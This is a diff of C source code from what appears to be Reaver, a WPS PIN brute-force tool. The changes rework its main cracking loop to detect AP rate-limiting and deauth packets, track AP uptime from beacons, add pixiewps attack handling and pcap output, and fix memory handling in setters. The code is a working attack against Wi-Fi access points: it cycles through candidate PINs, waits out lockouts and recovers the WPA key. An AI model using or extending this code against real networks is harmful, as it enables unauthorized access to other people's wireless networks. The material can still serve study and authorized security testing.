58 | /* restore key status after sorted p1 and p2 */ | |
59 | set_key_status((key_status == KEY_DONE)?KEY_DONE:KEY2_WIP); | |
60 | } | |
61 | } | |
62 | ||
63 | static void extract_uptime(const struct beacon_management_frame *beacon) | |
64 | { | |
65 | uint64_t timestamp; | |
66 | memcpy(×tamp, beacon->timestamp, 8); | |
67 | globule->uptime = end_le64toh(timestamp); | |
68 | } | |
35 | 69 | |
36 | 70 | /* Brute force all possible WPS pins for a given access point */ |
37 | 71 | void crack() |
57 | 91 | /* Initialize network interface */ |
58 | 92 | set_handle(capture_init(get_iface())); |
59 | 93 | |
60 | if(get_handle() != NULL) | |
61 | { | |
62 | generate_pins(); | |
63 | ||
64 | /* Restore any previously saved session */ | |
65 | if(get_static_p1() == NULL) | |
66 | { | |
67 | restore_session(); | |
68 | } | |
69 | ||
70 | /* Convert BSSID to a string */ | |
71 | bssid = mac2str(get_bssid(), ':'); | |
72 | ||
94 | if(get_handle() == NULL) { | |
95 | cprintf(CRITICAL, "[-] Failed to initialize interface '%s'\n", get_iface()); | |
96 | return; | |
97 | } | |
98 | generate_pins(); | |
99 | ||
100 | /* Restore any previously saved session */ | |
101 | if(get_static_p1() == NULL || !get_pin_string_mode()) | |
102 | { | |
103 | /* Check the specified 4/8 digit WPS PIN has been already tried */ | |
104 | if (restore_session() == -1) return; | |
105 | } | |
106 | ||
107 | /* Convert BSSID to a string */ | |
108 | bssid = mac2str(get_bssid(), ':'); | |
109 | ||
110 | /* | |
111 | * We need to get some basic info from the AP, and also want to make sure the target AP | |
112 | * actually exists, so wait for a beacon packet | |
113 | */ | |
114 | cprintf(INFO, "[+] Waiting for beacon from %s\n", bssid); | |
115 | read_ap_beacon(); | |
116 | cprintf(INFO, "[+] Received beacon from %s\n", bssid); | |
117 | char *vendor; | |
118 | if((vendor = get_vendor_string(get_vendor()))) | |
119 | cprintf(INFO, "[+] Vendor: %s\n", vendor); | |
120 | ||
121 | /* I'm fairly certian there's a reason I put this in twice. Can't remember what it was now though... */ | |
122 | if(get_max_pin_attempts() == -1) | |
123 | { | |
124 | cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n"); | |
125 | return; | |
126 | } | |
127 | ||
128 | #if 0 | |
129 | /* This initial association is just to make sure we can successfully associate */ | |
130 | while(!reassociate()) { | |
131 | if(assoc_fail_count == MAX_ASSOC_FAILURES) | |
132 | { | |
133 | assoc_fail_count = 0; | |
134 | cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid()); | |
135 | } | |
136 | else | |
137 | { | |
138 | assoc_fail_count++; | |
139 | } | |
140 | } | |
141 | #endif | |
142 | ||
143 | /* Used to calculate pin attempt rates */ | |
144 | start_time = time(NULL); | |
145 | ||
146 | /* If the key status hasn't been explicitly set by restore_session(), ensure that it is set to KEY1_WIP */ | |
147 | if(get_key_status() <= KEY1_WIP) | |
148 | { | |
149 | set_key_status(KEY1_WIP); | |
150 | } | |
151 | /* | |
152 | * If we're starting a session at KEY_DONE, that means we've already cracked the pin and the AP is being re-attacked. | |
153 | * Re-set the status to KEY2_WIP so that we properly enter the main cracking loop. | |
154 | */ | |
155 | else if(get_key_status() == KEY_DONE) | |
156 | { | |
157 | set_key_status(KEY2_WIP); | |
158 | } | |
159 | ||
160 | /* Main cracking loop */ | |
161 | for(loop_count=0, sleep_count=0; get_key_status() != KEY_DONE; loop_count++, sleep_count++) | |
162 | { | |
73 | 163 | /* |
74 | * We need to get some basic info from the AP, and also want to make sure the target AP | |
75 | * actually exists, so wait for a beacon packet | |
164 | * Some APs may do brute force detection, or might not be able to handle an onslaught of WPS | |
165 | * registrar requests. Using a delay here can help prevent the AP from locking us out. | |
76 | 166 | */ |
77 | cprintf(INFO, "[+] Waiting for beacon from %s\n", bssid); | |
78 | read_ap_beacon(); | |
79 | cprintf(INFO, "[+] Received beacon from %s\n", bssid); | |
80 | char *vendor; | |
81 | if((vendor = get_vendor_string(get_vendor()))) | |
82 | cprintf(INFO, "[+] Vendor: %s\n", vendor); | |
83 | /* I'm fairly certian there's a reason I put this in twice. Can't remember what it was now though... */ | |
84 | if(get_max_pin_attempts() == -1) | |
85 | { | |
86 | cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n"); | |
87 | return; | |
88 | } | |
89 | ||
90 | #if 0 | |
91 | /* This initial association is just to make sure we can successfully associate */ | |
92 | while(!reassociate()) | |
93 | { | |
167 | pcap_sleep(get_delay()); | |
168 | ||
169 | /* Users may specify a delay after x number of attempts */ | |
170 | if((get_recurring_delay() > 0) && (sleep_count == get_recurring_delay_count())) | |
171 | { | |
172 | cprintf(VERBOSE, "[+] Entering recurring delay of %d seconds\n", get_recurring_delay()); | |
173 | pcap_sleep(get_recurring_delay()); | |
174 | sleep_count = 0; | |
175 | } | |
176 | ||
177 | /* | |
178 | * Some APs identify brute force attempts and lock themselves for a short period of time (typically 5 minutes). | |
179 | * Verify that the AP is not locked before attempting the next pin. | |
180 | */ | |
181 | int locked_status = 0; | |
182 | while(1) { | |
183 | struct pcap_pkthdr header; | |
184 | const unsigned char *packet; | |
185 | const struct dot11_frame_header *frame_header; | |
186 | const struct beacon_management_frame *beacon; | |
187 | while((packet = next_beacon(&header, &frame_header, &beacon))) { | |
188 | if(is_target(frame_header)) break; | |
189 | } | |
190 | if(!packet) break; | |
191 | /* since we have to wait for a beacon anyway, we also | |
192 | use it to update the router's timeout */ | |
193 | locked_status = is_wps_locked(&header, packet); | |
194 | extract_uptime(beacon); | |
195 | if(locked_status == 1 && get_ignore_locks() == 0) { | |
196 | cprintf(WARNING, "[!] WARNING: Detected AP rate limiting, waiting %d seconds before re-checking\n", get_lock_delay()); | |
197 | pcap_sleep(get_lock_delay()); | |
198 | continue; | |
199 | } | |
200 | break; | |
201 | } | |
202 | if(locked_status == -1) { | |
203 | cprintf(WARNING, "[!] AP seems to have WPS turned off\n"); | |
204 | } | |
205 | ||
206 | /* Initialize wps structure */ | |
207 | set_wps(initialize_wps_data()); | |
208 | if(!get_wps()) | |
209 | { | |
210 | cprintf(CRITICAL, "[-] Failed to initialize critical data structure\n"); | |
211 | break; | |
212 | } | |
213 | ||
214 | /* Try the next pin in the list */ | |
215 | pin = build_next_pin(); | |
216 | if(!pin) | |
217 | { | |
218 | cprintf(CRITICAL, "[-] Failed to generate the next payload\n"); | |
219 | break; | |
220 | } | |
221 | else | |
222 | { | |
223 | cprintf(WARNING, "[+] Trying pin \"%s\"\n", pin); | |
224 | } | |
225 | ||
226 | /* | |
227 | * Reassociate with the AP before each WPS exchange. This is necessary as some APs will | |
228 | * severely limit our pin attempt rate if we do not. | |
229 | */ | |
230 | assoc_fail_count = 0; | |
231 | while(!reassociate()) { | |
94 | 232 | if(assoc_fail_count == MAX_ASSOC_FAILURES) |
95 | 233 | { |
96 | 234 | assoc_fail_count = 0; |
97 | cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid()); | |
235 | cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid()); | |
98 | 236 | } |
99 | 237 | else |
100 | 238 | { |
101 | 239 | assoc_fail_count++; |
102 | 240 | } |
103 | } | |
104 | #endif | |
105 | ||
106 | /* Used to calculate pin attempt rates */ | |
107 | start_time = time(NULL); | |
108 | ||
109 | /* If the key status hasn't been explicitly set by restore_session(), ensure that it is set to KEY1_WIP */ | |
110 | if(get_key_status() <= KEY1_WIP) | |
111 | { | |
112 | set_key_status(KEY1_WIP); | |
113 | } | |
241 | } | |
242 | cprintf(INFO, "[+] Associated with %s (ESSID: %s)\n", bssid, get_ssid()); | |
243 | ||
244 | ||
114 | 245 | /* |
115 | * If we're starting a session at KEY_DONE, that means we've already cracked the pin and the AP is being re-attacked. | |
116 | * Re-set the status to KEY2_WIP so that we properly enter the main cracking loop. | |
246 | * Enter receive loop. This will block until a receive timeout occurs or a | |
247 | * WPS transaction has completed or failed. | |
117 | 248 | */ |
118 | else if(get_key_status() == KEY_DONE) | |
119 | { | |
120 | set_key_status(KEY2_WIP); | |
121 | } | |
122 | ||
123 | /* Main cracking loop */ | |
124 | for(loop_count=0, sleep_count=0; get_key_status() != KEY_DONE; loop_count++, sleep_count++) | |
249 | result = do_wps_exchange(); | |
250 | ||
251 | switch(result) | |
125 | 252 | { |
126 | 253 | /* |
127 | * Some APs may do brute force detection, or might not be able to handle an onslaught of WPS | |
128 | * registrar requests. Using a delay here can help prevent the AP from locking us out. | |
254 | * If the last pin attempt was rejected, increment | |
255 | * the pin counter, clear the fail counter and move | |
256 | * on to the next pin. | |
129 | 257 | */ |
130 | pcap_sleep(get_delay()); | |
131 | ||
132 | /* Users may specify a delay after x number of attempts */ | |
133 | if((get_recurring_delay() > 0) && (sleep_count == get_recurring_delay_count())) | |
134 | { | |
135 | cprintf(VERBOSE, "[+] Entering recurring delay of %d seconds\n", get_recurring_delay()); | |
136 | pcap_sleep(get_recurring_delay()); | |
137 | sleep_count = 0; | |
138 | } | |
139 | ||
140 | /* | |
141 | * Some APs identify brute force attempts and lock themselves for a short period of time (typically 5 minutes). | |
142 | * Verify that the AP is not locked before attempting the next pin. | |
143 | */ | |
144 | while(get_ignore_locks() == 0 && is_wps_locked()) | |
145 | { | |
146 | cprintf(WARNING, "[!] WARNING: Detected AP rate limiting, waiting %d seconds before re-checking\n", get_lock_delay()); | |
147 | pcap_sleep(get_lock_delay()); | |
148 | ||
149 | } | |
150 | ||
151 | /* Initialize wps structure */ | |
152 | set_wps(initialize_wps_data()); | |
153 | if(!get_wps()) | |
154 | { | |
155 | cprintf(CRITICAL, "[-] Failed to initialize critical data structure\n"); | |
258 | case KEY_REJECTED: | |
259 | fail_count = 0; | |
260 | pin_count++; | |
261 | advance_pin_count(); | |
156 | 262 | break; |
157 | } | |
158 | ||
159 | /* Try the next pin in the list */ | |
160 | pin = build_next_pin(); | |
161 | if(!pin) | |
162 | { | |
163 | cprintf(CRITICAL, "[-] Failed to generate the next payload\n"); | |
263 | /* Got it!! */ | |
264 | case KEY_ACCEPTED: | |
164 | 265 | break; |
165 | } | |
166 | else | |
167 | { | |
168 | cprintf(WARNING, "[+] Trying pin \"%s\"\n", pin); | |
169 | } | |
170 | ||
171 | /* | |
172 | * Reassociate with the AP before each WPS exchange. This is necessary as some APs will | |
173 | * severely limit our pin attempt rate if we do not. | |
174 | */ | |
175 | assoc_fail_count = 0; | |
176 | while(!reassociate()) | |
177 | { | |
178 | if(assoc_fail_count == MAX_ASSOC_FAILURES) | |
179 | { | |
180 | assoc_fail_count = 0; | |
181 | cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid()); | |
182 | } | |
183 | else | |
184 | { | |
185 | assoc_fail_count++; | |
186 | } | |
187 | } | |
188 | cprintf(INFO, "[+] Associated with %s (ESSID: %s)\n", bssid, get_ssid()); | |
189 | ||
190 | ||
191 | /* | |
192 | * Enter receive loop. This will block until a receive timeout occurs or a | |
193 | * WPS transaction has completed or failed. | |
194 | */ | |
195 | result = do_wps_exchange(); | |
196 | ||
197 | switch(result) | |
198 | { | |
199 | /* | |
200 | * If the last pin attempt was rejected, increment | |
201 | * the pin counter, clear the fail counter and move | |
202 | * on to the next pin. | |
203 | */ | |
204 | case KEY_REJECTED: | |
205 | fail_count = 0; | |
206 | pin_count++; | |
207 | advance_pin_count(); | |
208 | break; | |
209 | /* Got it!! */ | |
210 | case KEY_ACCEPTED: | |
211 | break; | |
212 | /* Unexpected timeout or EAP failure...try this pin again */ | |
213 | default: | |
214 | cprintf(VERBOSE, "[!] WPS transaction failed (code: 0x%.2X), re-trying last pin\n", result); | |
215 | fail_count++; | |
216 | break; | |
217 | } | |
218 | ||
219 | /* If we've had an excessive number of message failures in a row, print a warning */ | |
220 | if(fail_count == WARN_FAILURE_COUNT) | |
221 | { | |
222 | cprintf(WARNING, "[!] WARNING: %d failed connections in a row\n", fail_count); | |
223 | fail_count = 0; | |
224 | pcap_sleep(get_fail_delay()); | |
225 | } | |
226 | ||
227 | /* Display status and save current session state every DISPLAY_PIN_COUNT loops */ | |
228 | if(loop_count == DISPLAY_PIN_COUNT) | |
229 | { | |
230 | save_session(); | |
231 | display_status(pin_count, start_time); | |
232 | loop_count = 0; | |
233 | } | |
234 | ||
235 | /* | |
236 | * The WPA key and other settings are stored in the globule->wps structure. If we've | |
237 | * recovered the WPS pin and parsed these settings, don't free this structure. It | |
238 | * will be freed by wpscrack_free() at the end of main(). | |
239 | */ | |
240 | if(get_key_status() != KEY_DONE) | |
241 | { | |
242 | wps_deinit(get_wps()); | |
243 | set_wps(NULL); | |
244 | } | |
245 | /* If we have cracked the pin, save a copy */ | |
246 | else | |
247 | { | |
248 | set_pin(pin); | |
249 | } | |
250 | free(pin); | |
251 | pin = NULL; | |
252 | ||
253 | /* If we've hit our max number of pin attempts, quit */ | |
254 | if((get_max_pin_attempts() > 0) && | |
255 | (pin_count == get_max_pin_attempts())) | |
256 | { | |
257 | cprintf(VERBOSE, "[+] Quitting after %d crack attempts\n", get_max_pin_attempts()); | |
266 | /* Unexpected timeout or EAP failure...try this pin again */ | |
267 | default: | |
268 | cprintf(VERBOSE, "[!] WPS transaction failed (code: 0x%.2X), re-trying last pin\n", result); | |
269 | fail_count++; | |
258 | 270 | break; |
259 | } | |
260 | } | |
261 | ||
262 | if(bssid) free(bssid); | |
263 | if(get_handle()) | |
264 | { | |
265 | pcap_close(get_handle()); | |
266 | set_handle(NULL); | |
267 | } | |
268 | } | |
269 | else | |
270 | { | |
271 | cprintf(CRITICAL, "[-] Failed to initialize interface '%s'\n", get_iface()); | |
271 | } | |
272 | ||
273 | /* If we've had an excessive number of message failures in a row, print a warning */ | |
274 | if(fail_count == WARN_FAILURE_COUNT) | |
275 | { | |
276 | cprintf(WARNING, "[!] WARNING: %d failed connections in a row\n", fail_count); | |
277 | fail_count = 0; | |
278 | pcap_sleep(get_fail_delay()); | |
279 | } | |
280 | ||
281 | /* Display status and save current session state every DISPLAY_PIN_COUNT loops */ | |
282 | if(loop_count == DISPLAY_PIN_COUNT) | |
283 | { | |
284 | save_session(); | |
285 | display_status(pin_count, start_time); | |
286 | loop_count = 0; | |
287 | } | |
288 | ||
289 | /* | |
290 | * The WPA key and other settings are stored in the globule->wps structure. If we've | |
291 | * recovered the WPS pin and parsed these settings, don't free this structure. It | |
292 | * will be freed by wpscrack_free() at the end of main(). | |
293 | */ | |
294 | if(get_key_status() != KEY_DONE) | |
295 | { | |
296 | wps_deinit(get_wps()); | |
297 | set_wps(NULL); | |
298 | } | |
299 | /* If we have cracked the pin, save a copy */ | |
300 | else | |
301 | { | |
302 | /* pixie already sets the pin if successful */ | |
303 | if(!pixie.do_pixie) set_pin(pin); | |
304 | } | |
305 | ||
306 | free(pin); | |
307 | pin = NULL; | |
308 | ||
309 | if(pixie.do_pixie && get_pin()) { | |
310 | /* if we get here it means pixiewps process was successful, | |
311 | but getting the pin may or may not have worked. */ | |
312 | update_wpc_from_pin(); | |
313 | cprintf(VERBOSE, "[+] Quitting after pixiewps attack\n"); | |
314 | break; | |
315 | } | |
316 | ||
317 | /* If we've hit our max number of pin attempts, quit */ | |
318 | if((get_max_pin_attempts() > 0) && | |
319 | (pin_count == get_max_pin_attempts())) | |
320 | { | |
321 | cprintf(VERBOSE, "[+] Quitting after %d crack attempts\n", get_max_pin_attempts()); | |
322 | break; | |
323 | } | |
324 | } | |
325 | ||
326 | if(bssid) free(bssid); | |
327 | if(get_handle()) | |
328 | { | |
329 | pcap_close(get_handle()); | |
330 | set_handle(NULL); | |
272 | 331 | } |
273 | 332 | } |
274 | 333 |
75 | 75 | #define P1_SIZE 10000 |
76 | 76 | #define P2_SIZE 1000 |
77 | 77 | |
78 | #define EAPOL_START_MAX_TRIES 25 | |
78 | #define EAPOL_START_MAX_TRIES 10 | |
79 | 79 | #define WARN_FAILURE_COUNT 10 |
80 | 80 | |
81 | 81 | #define EAPOL_START 1 |
167 | 167 | M7 = 0x0B, |
168 | 168 | M8 = 0x0C, |
169 | 169 | DONE = 0x0F, |
170 | NACK = 0x0E | |
170 | NACK = 0x0E, | |
171 | WPS_PT_DEAUTH = 0xFF | |
171 | 172 | }; |
172 | 173 | |
173 | 174 | enum wfa_elements |
322 | 323 | #define IEEE80211_STYPE_QOS_CFACKPOLL 0x00F0 |
323 | 324 | |
324 | 325 | /* these types denote that the values are stored in a specific byte order */ |
326 | #ifndef LE16_DEFINED | |
327 | #define LE16_DEFINED | |
325 | 328 | typedef uint16_t le16; |
326 | 329 | typedef uint32_t le32; |
327 | 330 | |
328 | 331 | typedef uint16_t be16; |
329 | 332 | typedef uint32_t be32; |
333 | #endif | |
330 | 334 | |
331 | 335 | #pragma pack(1) |
332 | 336 | struct radio_tap_header |
335 | 339 | uint8_t pad; |
336 | 340 | le16 len; |
337 | 341 | le32 flags; |
342 | #ifdef RADIOTAP_HEADER_WITH_RATE | |
343 | uint8_t rate; | |
344 | uint8_t pad2; | |
345 | #endif | |
346 | le16 txflags; | |
338 | 347 | }; |
339 | 348 | |
340 | 349 | struct dot11_frame_header |
42 | 42 | int premature_timeout = 0, terminated = 0, got_nack = 0; |
43 | 43 | int id_response_sent = 0, tx_type = 0; |
44 | 44 | int m2_sent = 0, m4_sent = 0, m6_sent = 0; |
45 | int deauth_flag = 0; | |
45 | 46 | |
46 | 47 | /* Initialize settings for this WPS exchange */ |
47 | 48 | set_last_wps_state(0); |
65 | 66 | { |
66 | 67 | tx_type = 0; |
67 | 68 | |
68 | if(packet_type > last_msg) | |
69 | if(packet_type != WPS_PT_DEAUTH && packet_type > last_msg) | |
69 | 70 | { |
70 | 71 | last_msg = packet_type; |
71 | 72 | } |
79 | 80 | if(packet_type != UNKNOWN) |
80 | 81 | switch(packet_type) |
81 | 82 | { |
83 | case WPS_PT_DEAUTH: | |
84 | if(!deauth_flag) | |
85 | cprintf(VERBOSE, "[+] Received deauth request\n"); | |
86 | deauth_flag = 1; | |
87 | break; | |
82 | 88 | case IDENTITY_REQUEST: |
83 | 89 | cprintf(VERBOSE, "[+] Received identity request\n"); |
84 | 90 | tx_type = IDENTITY_RESPONSE; |
146 | 152 | got_nack = 1; |
147 | 153 | break; |
148 | 154 | case TERMINATE: |
155 | cprintf(VERBOSE, "[+] Received EAP_FAILURE message\n"); | |
149 | 156 | terminated = 1; |
150 | 157 | break; |
151 | 158 | default: |
153 | 160 | terminated = 1; |
154 | 161 | break; |
155 | 162 | } |
163 | if(packet_type != UNKNOWN && packet_type != WPS_PT_DEAUTH) | |
164 | deauth_flag = 0; | |
165 | else if(packet_type == WPS_PT_DEAUTH) | |
166 | continue; | |
156 | 167 | |
157 | 168 | if(tx_type == IDENTITY_RESPONSE) |
158 | 169 | { |
188 | 199 | } |
189 | 200 | |
190 | 201 | send_eapol_start(); |
202 | deauth_flag = 0; | |
191 | 203 | } |
192 | 204 | else |
193 | 205 | { |
292 | 304 | ); |
293 | 305 | } |
294 | 306 | |
307 | static int is_deauth_packet(struct dot11_frame_header *frame_header) | |
308 | { | |
309 | int fcstype = frame_header->fc & end_htole16(IEEE80211_FCTL_STYPE); | |
310 | return (fcstype == end_htole16(IEEE80211_STYPE_DEAUTH)); | |
311 | } | |
312 | ||
295 | 313 | /* |
296 | 314 | * Processes incoming packets looking for EAP and WPS messages. |
297 | 315 | * Responsible for stopping the timer when a valid EAP packet is received. |
332 | 350 | if(!is_packet_for_us(frame_header)) |
333 | 351 | return UNKNOWN; |
334 | 352 | |
353 | if(is_deauth_packet(frame_header)) | |
354 | return WPS_PT_DEAUTH; | |
355 | ||
335 | 356 | int data_pkt_type; |
336 | 357 | |
337 | 358 | /* Is this a data packet ? */ |
491 | 512 | |
492 | 513 | return ret_val; |
493 | 514 | } |
515 | ||
516 | ||
517 | #ifdef EX_TEST | |
518 | ||
519 | #include "wpsmon.h" | |
520 | ||
521 | int main(int argc, char** argv) { | |
522 | globule_init(); | |
523 | // arg 1: filename of cap | |
524 | set_handle(capture_init(argv[1])); | |
525 | if(!get_handle()) { | |
526 | cprintf(CRITICAL, "[X] ERROR: Failed to open '%s' for capturing\n", get_iface()); | |
527 | goto end; | |
528 | } | |
529 | ||
530 | //arg 2: "our" mac for testing | |
531 | unsigned char mac[6]; | |
532 | str2mac(argv[2], mac); | |
533 | set_mac(mac); | |
534 | ||
535 | //arg 3: bssid of "target" AP | |
536 | str2mac(argv[3], mac); | |
537 | set_bssid(mac); | |
538 | ||
539 | struct pcap_pkthdr header; | |
540 | const unsigned char *packet; | |
541 | enum wps_type packet_type = UNKNOWN; | |
542 | ||
543 | unsigned long packet_number = 0; | |
544 | ||
545 | while((packet = next_packet(&header))) { | |
546 | packet_number++; | |
547 | packet_type = process_packet(packet, &header); | |
548 | switch(packet_type) { | |
549 | case UNKNOWN: | |
550 | dprintf(2, "UNK\n"); | |
551 | break; | |
552 | case WPS_PT_DEAUTH: | |
553 | dprintf(2, "DEAUTH\n"); | |
554 | break; | |
555 | } | |
556 | } | |
557 | ||
558 | end: | |
559 | globule_deinit(); | |
560 | return 0; | |
561 | } | |
562 | ||
563 | #endif |
44 | 44 | memset(globule, 0, sizeof(struct globals)); |
45 | 45 | ret = 1; |
46 | 46 | globule->resend_timeout_usec = 200000; |
47 | globule->output_fd = -1; | |
47 | 48 | |
48 | 49 | } |
49 | 50 | |
74 | 75 | if(globule->static_p2) free(globule->static_p2); |
75 | 76 | if(globule->fp) fclose(globule->fp); |
76 | 77 | if(globule->exec_string) free(globule->exec_string); |
77 | ||
78 | ||
79 | if(globule->output_fd != -1) close(globule->output_fd); | |
80 | ||
78 | 81 | free(globule); |
79 | 82 | } |
80 | 83 | } |
99 | 102 | |
100 | 103 | void set_session(char *value) |
101 | 104 | { |
102 | globule->session = strdup(value); | |
105 | if(globule->session) free(globule->session); | |
106 | globule->session = (value) ? strdup(value) : NULL; | |
103 | 107 | } |
104 | 108 | char *get_session() |
105 | 109 | { |
134 | 138 | { |
135 | 139 | if(index < P1_SIZE) |
136 | 140 | { |
137 | globule->p1[index] = strdup(value); | |
141 | if(globule->p1[index]) free(globule->p1[index]); | |
142 | globule->p1[index] = (value) ? strdup(value) : NULL; | |
138 | 143 | } |
139 | 144 | } |
140 | 145 | char *get_p1(int index) |
150 | 155 | { |
151 | 156 | if(index < P2_SIZE) |
152 | 157 | { |
153 | globule->p2[index] = strdup(value); | |
158 | if(globule->p2[index]) free(globule->p2[index]); | |
159 | globule->p2[index] = (value) ? strdup(value) : NULL; | |
154 | 160 | } |
155 | 161 | } |
156 | 162 | char *get_p2(int index) |
442 | 448 | |
443 | 449 | void set_pin(char *value) |
444 | 450 | { |
445 | globule->pin = strdup(value); | |
451 | if(globule->pin) free(globule->pin); | |
452 | globule->pin = (value) ? strdup(value) : NULL; | |
446 | 453 | } |
447 | 454 | char *get_pin() |
448 | 455 | { |
451 | 458 | |
452 | 459 | void set_static_p1(char *value) |
453 | 460 | { |
454 | globule->static_p1 = strdup(value); | |
461 | if(globule->static_p1) free(globule->static_p1); | |
462 | globule->static_p1 = (value) ? strdup(value) : NULL; | |
455 | 463 | } |
456 | 464 | |
457 | 465 | char *get_static_p1(void) |
461 | 469 | |
462 | 470 | void set_static_p2(char *value) |
463 | 471 | { |
464 | globule->static_p2 = strdup(value); | |
472 | if(globule->static_p2) free(globule->static_p2); | |
473 | globule->static_p2 = (value) ? strdup(value) : NULL; | |
465 | 474 | } |
466 | 475 | |
467 | 476 | char *get_static_p2(void) |
636 | 645 | return globule->repeat_m6; |
637 | 646 | } |
638 | 647 | |
639 | ||
648 | int get_output_fd(void) { return globule->output_fd; } | |
649 | ||
650 | #include "pcapfile.h" | |
651 | void set_output_fd(int fd) { | |
652 | globule->output_fd = fd; | |
653 | if (fd != -1) pcapfile_write_header(fd); | |
654 | } |
146 | 146 | enum nack_code nack_reason; /* Stores the nack code for the last received WSC_NACK message */ |
147 | 147 | |
148 | 148 | pcap_t *handle; /* Pcap handle */ |
149 | ||
150 | int output_fd; /* handle for output pcap file */ | |
151 | ||
152 | uint64_t uptime; /* uptime of AP */ | |
149 | 153 | |
150 | 154 | struct wps_data *wps; /* |
151 | 155 | * wpa_supplicant's wps_data structure, needed for almost all wpa_supplicant |
261 | 265 | unsigned char *get_vendor(void); |
262 | 266 | void set_repeat_m6(int); |
263 | 267 | int get_repeat_m6(void); |
268 | void set_output_fd(int fd); | |
269 | int get_output_fd(void); | |
264 | 270 | #endif |
120 | 120 | pcap_t *handle; |
121 | 121 | char errbuf[PCAP_ERRBUF_SIZE] = { 0 }; |
122 | 122 | int status; |
123 | int activate_rfmon = 0; | |
123 | 124 | |
124 | 125 | handle = pcap_open_offline(capture_source, errbuf); |
125 | 126 | if(handle) return handle; |
132 | 133 | execve("/System/Library/PrivateFrameworks/Apple80211.framework/Resources/airport", argv, NULL); |
133 | 134 | } |
134 | 135 | waitpid(pid,&status,0); |
136 | activate_rfmon = 1; | |
135 | 137 | #endif |
136 | 138 | |
137 | 139 | handle = pcap_create(capture_source, errbuf); |
138 | 140 | if (handle) { |
139 | 141 | pcap_set_snaplen(handle, 65536); |
140 | 142 | pcap_set_timeout(handle, 50); |
141 | pcap_set_rfmon(handle, 1); | |
143 | pcap_set_rfmon(handle, activate_rfmon); | |
142 | 144 | pcap_set_promisc(handle, 1); |
143 | 145 | if(!(status = pcap_activate(handle))) |
144 | 146 | return handle; |
11039 | 11039 | { "998", 0 }, |
11040 | 11040 | { "999", 1 } |
11041 | 11041 | }; |
11042 | ||
11043 | /** | |
11044 | * Return the index of k1[].key of p1 values | |
11045 | * | |
11046 | * @params int* value The value of p1 key | |
11047 | * | |
11048 | * @return int The index of value in k1 | |
11049 | */ | |
11050 | int get_k1_key_index(int value) | |
11051 | { | |
11052 | int i; | |
11053 | int indexs[3]; | |
11054 | char str_pin[12]; | |
11055 | ||
11056 | indexs[0] = value; /* In k1, value == index is 87.66% */ | |
11057 | indexs[1] = value+1; /* In k1, value+1 == index is 12.33% */ | |
11058 | indexs[2] = 0; /* In k1, value in index 0 is 0.01% (1234) */ | |
11059 | for (i=0; i<3; ++i){ | |
11060 | if (indexs[i] >= 0 && indexs[i] < P1_SIZE){ | |
11061 | sprintf(str_pin, "%04d", value); | |
11062 | if (strcmp(k1[indexs[i]].key, str_pin) == 0) { | |
11063 | return indexs[i]; | |
11064 | } | |
11065 | } | |
11066 | } | |
11067 | ||
11068 | return -1; /* not found */ | |
11069 | } | |
11070 | ||
11071 | /** | |
11072 | * Return the index of k2[].key of p2 values | |
11073 | * | |
11074 | * @params int* value The value of p2 key | |
11075 | * | |
11076 | * @return int The index of k2 | |
11077 | */ | |
11078 | int get_k2_key_index(int value) | |
11079 | { | |
11080 | int i; | |
11081 | int indexs[3]; | |
11082 | char str_pin[12]; | |
11083 | ||
11084 | indexs[0] = value+1; /* In k2, value+1 == index is 56.6% */ | |
11085 | indexs[1] = value; /* In k2, value == index is 43.3% */ | |
11086 | indexs[2] = 0; /* In k2, value in index 0 is 0.1% (567) */ | |
11087 | for (i=0; i<3; ++i){ | |
11088 | if (indexs[i] >= 0 && indexs[i] < P2_SIZE){ | |
11089 | sprintf(str_pin, "%03d", value); | |
11090 | if (strcmp(k2[indexs[i]].key, str_pin) == 0) { | |
11091 | return indexs[i]; | |
11092 | } | |
11093 | } | |
11094 | } | |
11095 | ||
11096 | return -1; /* not found */ | |
11097 | } |
41 | 41 | int priority; |
42 | 42 | }; |
43 | 43 | |
44 | int get_k1_key_index(int value); | |
45 | int get_k2_key_index(int value); | |
46 | ||
44 | 47 | #endif |
36 | 36 | return new; |
37 | 37 | } |
38 | 38 | |
39 | char *wps_data_to_json(const char*bssid, const char *ssid, int channel, int rssi, const unsigned char* vendor, struct libwps_data *wps) { | |
39 | char *wps_data_to_json(const char*bssid, const char *ssid, int channel, int rssi, const unsigned char* vendor, struct libwps_data *wps, const char *progress) { | |
40 | 40 | size_t ol = 0, nl = 0, ns = 0; |
41 | 41 | char *json_str = 0, *old = strdup("{"), *tmp; |
42 | 42 | char buf[1024]; |
168 | 168 | tmp = sanitize_string(wps->rf_bands); |
169 | 169 | nl = snprintf(buf, sizeof buf, "\"wps_rf_bands\" : \"%s\", ", tmp); |
170 | 170 | free(tmp); |
171 | json_str = append_and_free(old, buf, 1); | |
172 | old = json_str; | |
173 | } | |
174 | if(progress) { | |
175 | nl = snprintf(buf, sizeof buf, "\"progress\" : \"%s\", ", progress); | |
171 | 176 | json_str = append_and_free(old, buf, 1); |
172 | 177 | old = json_str; |
173 | 178 | } |
472 | 477 | * Returns a pointer to the radio tap header. If there is no radio tap header, |
473 | 478 | * it returns a pointer to a dummy radio tap header. |
474 | 479 | */ |
480 | #define FAKE_RADIO_TAP_HEADER "\0\0\0\0" "\0\0\0\0" "\0\0\0\0" "\0\0\0\0" "\0\0\0\0" | |
475 | 481 | const u_char *libwps_radio_header(const u_char *packet, size_t len) |
476 | 482 | { |
477 | 483 | if(libwps_has_rt_header(packet, len)) |
480 | 486 | } |
481 | 487 | else |
482 | 488 | { |
483 | return (u_char *) FAKE_RADIO_TAP_HEADER; | |
489 | return FAKE_RADIO_TAP_HEADER; | |
484 | 490 | } |
485 | 491 | |
486 | 492 | } |
50 | 50 | }; |
51 | 51 | |
52 | 52 | int parse_wps_parameters(const u_char *packet, size_t len, struct libwps_data *wps); |
53 | char *wps_data_to_json(const char*bssid, const char *ssid, int channel, int rssi, const unsigned char* vendor, struct libwps_data *wps); | |
53 | char *wps_data_to_json(const char*bssid, const char *ssid, int channel, int rssi, const unsigned char* vendor, struct libwps_data *wps, const char *progress); | |
54 | 54 | |
